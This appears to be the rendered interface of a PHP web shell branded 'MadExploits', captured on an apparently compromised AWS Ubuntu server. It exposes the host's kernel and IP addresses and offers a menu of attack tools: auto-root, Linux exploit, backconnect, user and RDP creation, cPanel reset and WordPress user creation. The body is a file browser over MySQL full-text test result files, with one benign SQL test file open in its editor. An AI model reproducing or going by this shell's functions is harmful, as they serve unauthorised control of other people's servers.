Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 3.142.124.139
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
server /
mysql /
mysql-test /
suite /
innodb_fts /
r /
[ HOME SHELL ]
Name
Size
Permission
Action
basic.result
12.32
KB
-rw-r--r--
bug_32831765.result
6.29
KB
-rw-r--r--
compatibility.result
9.81
KB
-rw-r--r--
compatibility_win.result
9.81
KB
-rw-r--r--
ddl.result
10.34
KB
-rw-r--r--
fic.result
8.01
KB
-rw-r--r--
foreign_key_check.result
808
B
-rw-r--r--
foreign_key_update.result
663
B
-rw-r--r--
fulltext.result
28.64
KB
-rw-r--r--
fulltext2.result
8.45
KB
-rw-r--r--
fulltext3.result
1.79
KB
-rw-r--r--
fulltext_cache.result
2.77
KB
-rw-r--r--
fulltext_distinct.result
1.45
KB
-rw-r--r--
fulltext_left_join.result
4.27
KB
-rw-r--r--
fulltext_misc.result
8.19
KB
-rw-r--r--
fulltext_multi.result
965
B
-rw-r--r--
fulltext_order_by.result
6.42
KB
-rw-r--r--
fulltext_table_evict.result
688
B
-rw-r--r--
fulltext_update.result
1.12
KB
-rw-r--r--
fulltext_var.result
1.33
KB
-rw-r--r--
index_table.result
6.84
KB
-rw-r--r--
innobase_drop_fts_index_table....
209
B
-rw-r--r--
large_records.result
9.04
KB
-rw-r--r--
limit_union.result
6
KB
-rw-r--r--
mecab_sjis.result
6.62
KB
-rw-r--r--
mecab_ujis.result
6.62
KB
-rw-r--r--
mecab_utf8.result
6.65
KB
-rw-r--r--
misc.result
62.97
KB
-rw-r--r--
misc_1.result
38.56
KB
-rw-r--r--
misc_debug.result
3.72
KB
-rw-r--r--
multiple_index.result
9.16
KB
-rw-r--r--
ngram.result
38.03
KB
-rw-r--r--
ngram_1.result
395.4
KB
-rw-r--r--
ngram_2.result
5.11
KB
-rw-r--r--
ngram_debug.result
8.63
KB
-rw-r--r--
opt.result
68.87
KB
-rw-r--r--
phrase.result
2.1
KB
-rw-r--r--
phrase_clear_no_match.result
2.68
KB
-rw-r--r--
plugin.result
7.52
KB
-rw-r--r--
plugin_1.result
14.8
KB
-rw-r--r--
plugin_debug.result
13.39
KB
-rw-r--r--
proximity.result
7.33
KB
-rw-r--r--
result_cache_limit.result
1.48
KB
-rw-r--r--
savepoint.result
8.69
KB
-rw-r--r--
stopword.result
31.83
KB
-rw-r--r--
stopword_charset.result
10.47
KB
-rw-r--r--
subexpr.result
3.88
KB
-rw-r--r--
sync.result
5.56
KB
-rw-r--r--
sync_block.result
2.64
KB
-rw-r--r--
sync_ddl.result
4.61
KB
-rw-r--r--
tablespace_location.result
43.89
KB
-rw-r--r--
tablespace_location_error.resu...
16.93
KB
-rw-r--r--
transaction.result
42.15
KB
-rw-r--r--
truncate.result
1.22
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : sync_block.result
SET @old_log_output = @@global.log_output; SET @old_slow_query_log = @@global.slow_query_log; SET @old_general_log = @@global.general_log; SET @old_long_query_time = @@global.long_query_time; SET @old_binlog_order_commits = @@global.binlog_order_commits; SET GLOBAL log_output = 'TABLE'; SET GLOBAL general_log = 1; SET GLOBAL slow_query_log = 1; SET GLOBAL long_query_time = 1; SET GLOBAL binlog_order_commits = 1; # Case 1: Sync blocks DML(insert) on the same table. CREATE TABLE t1 ( FTS_DOC_ID BIGINT UNSIGNED AUTO_INCREMENT NOT NULL PRIMARY KEY, title VARCHAR(200), FULLTEXT(title) ) ENGINE = InnoDB; SET GLOBAL debug="+d,fts_instrument_sync_debug,fts_instrument_sync_sleep"; SET DEBUG_SYNC= 'fts_sync_begin SIGNAL begin WAIT_FOR continue'; INSERT INTO t1(title) VALUES('mysql database'); SET DEBUG_SYNC= 'now WAIT_FOR begin'; SELECT * FROM t1 WHERE MATCH(title) AGAINST('mysql database'); SET DEBUG_SYNC= 'now SIGNAL continue'; /* connection con1 */ INSERT INTO t1(title) VALUES('mysql database'); /* conneciton con2 */ SELECT * FROM t1 WHERE MATCH(title) AGAINST('mysql database'); FTS_DOC_ID title # make con1 & con2 show up in mysql.slow_log SELECT SLEEP(2); SLEEP(2) 0 # slow log results should only contain INSERT INTO t1. SELECT sql_text FROM mysql.slow_log WHERE query_time >= '00:00:02'; sql_text INSERT INTO t1(title) VALUES('mysql database') SET GLOBAL debug="-d,fts_instrument_sync_debug,fts_instrument_sync_sleep"; TRUNCATE TABLE mysql.slow_log; DROP TABLE t1; # Case 2: Sync blocks DML(insert) on other tables. CREATE TABLE t1 ( FTS_DOC_ID BIGINT UNSIGNED AUTO_INCREMENT NOT NULL PRIMARY KEY, title VARCHAR(200), FULLTEXT(title) ) ENGINE = InnoDB; CREATE TABLE t2(id INT); SET GLOBAL debug="+d,fts_instrument_sync_request,fts_instrument_sync_sleep"; SET DEBUG_SYNC= 'fts_instrument_sync_request SIGNAL begin WAIT_FOR continue'; INSERT INTO t1(title) VALUES('mysql database'); SET DEBUG_SYNC= 'now WAIT_FOR begin'; INSERT INTO t2 VALUES(1); SET DEBUG_SYNC= 'now SIGNAL continue'; /* connection con1 */ INSERT INTO t1(title) VALUES('mysql database'); /* conneciton con2 */ INSERT INTO t2 VALUES(1); # make con1 & con2 show up in mysql.slow_log SELECT SLEEP(2); SLEEP(2) 0 # slow log results should be empty here. SELECT sql_text FROM mysql.slow_log WHERE query_time >= '00:00:02'; sql_text SET GLOBAL debug="-d,fts_instrument_sync_request,fts_instrument_sync_sleep"; TRUNCATE TABLE mysql.slow_log; DROP TABLE t1,t2; # Restore slow log settings. SET GLOBAL log_output = @old_log_output; SET GLOBAL general_log = @old_general_log; SET GLOBAL slow_query_log = @old_slow_query_log; SET GLOBAL long_query_time = @old_long_query_time; SET GLOBAL binlog_order_commits = @old_binlog_order_commits;
Close
